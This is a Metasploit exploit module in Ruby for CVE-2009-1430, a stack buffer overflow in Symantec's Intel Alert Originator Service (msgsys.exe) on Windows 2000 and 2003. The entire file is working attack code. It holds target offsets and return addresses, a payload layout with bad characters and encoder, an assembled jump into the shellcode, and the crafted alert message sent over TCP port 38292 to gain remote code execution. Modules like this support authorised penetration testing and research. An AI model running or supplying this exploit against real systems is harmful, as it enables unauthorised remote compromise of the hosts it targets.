## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Symantec Alert Management System Intel Alert Originator Service Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Intel Alert Originator Service msgsys.exe. When an attacker sends a specially crafted alert, arbitrary code may be executed. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2009-1430' ], [ 'OSVDB', '54159'], [ 'BID', '34674' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2003', { 'Offset' => 1061, 'Ret' => 0x00401130 } ], [ 'Windows 2000 All', { 'Offset' => 1065, 'Ret' => 0x00401130 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 28 2009')) register_options( [ Opt::RPORT(38292) ], self.class ) end def exploit connect filler = rand_text_alpha_upper(2048) sploit = payload.encoded sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length) sploit << Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) sploit << [target.ret].pack('V') sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-950").encode_string sploit << rand_text_alpha_upper(rand(24) + 700) + "\x00" msg = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x02\x00\x95\x94\xac\x10" msg << "\x08\xb4\x00\x00\x00\x00\x00\x00\x00\x00" + [filler.length].pack('V') msg << "ORIGCNFG" + "\x10\x00\x00\x00\x00\x00\x00\x00\x04\x00\x03\x03\xb8" msg << "\x60\x00\x00\x00\x00\x00\x00" + "BIND" msg << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00" msg << "\x04" + "BIND" + "\x00" + [filler.length].pack('V') msg << rand_text_alpha_upper(7) + " Alert" + sploit msg << "\x00" + [filler.length].pack('V') + [filler.length].pack('V') msg << rand_text_alpha_upper(rand(10) + 36) msg << filler + "\x00\x00\x00\x00" + "PRGX" + "\x00\x04\xAC\x10\x08\x1D" msg << "\x07\x08\x12\x00" + "ConfigurationName" + "\x00\x16\x00\x14\x00" msg << rand_text_alpha_upper(rand(1) + 25) + "\x00\x08\x08\x00" + "RunArgs" msg << "\x00\x04\x00\x02" + "\x00\x20\x00\x03\x05\x00" + "FormatString" msg << "\x00\x02\x00\x00\x00\x08\x12\x00" + "ConfigurationName" msg << "\x00\x02\x00\x00\x00\x08\x0C\x00" + "HandlerHost" msg << "\x00\x17\x00\x15\x00" + rhost + "\x00\x00\x00\x00\x00\x00" print_status("Trying target #{target.name}...") sock.put(msg) handler disconnect end end